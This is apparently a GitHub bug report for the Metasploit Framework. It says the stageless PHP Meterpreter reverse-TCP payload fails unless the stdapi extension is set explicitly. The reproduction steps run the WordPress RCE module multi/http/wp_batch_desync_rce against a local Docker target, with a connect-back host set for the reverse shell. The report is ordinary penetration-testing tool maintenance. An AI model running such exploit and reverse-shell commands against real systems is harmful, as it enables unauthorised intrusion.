Stageless PHP Meterpreter breaks without setting the `stdapi` extension explicitly

Author: cdelafuente-r7Created Aug 7, 2026Updated Sep 17, 2026
Labelsbugnot-stale

The stageless PHP Meterpreter fails with the default settings. The stdapi extension need to be explicitly set to make it work:

'DefaultOptions' => {
  'PAYLOAD' => 'php/meterpreter_reverse_tcp',
  'EXTENSIONS' => 'stdapi'
}

I haven't tested other PHP payload variants. This comes from this PR, specifically this comment.

Steps to reproduce

Follow the installation steps from the origin PR to setup the target as a Docker instance.

  1. use multi/http/wp_batch_desync_rce
  2. run verbose=true rhosts=127.0.0.1 rport=8080 lhost=<a reachable IP to connect back to your host>

Were you following a specific guide/tutorial or reading documentation?

no

Expected behavior

You get a session.

Current behavior

The session fails to establish.

Metasploit version

Framework: 6.5.2-dev-6ad273fb137 Console : 6.5.2-dev-6ad273fb137

Source: rapid7/metasploit-framework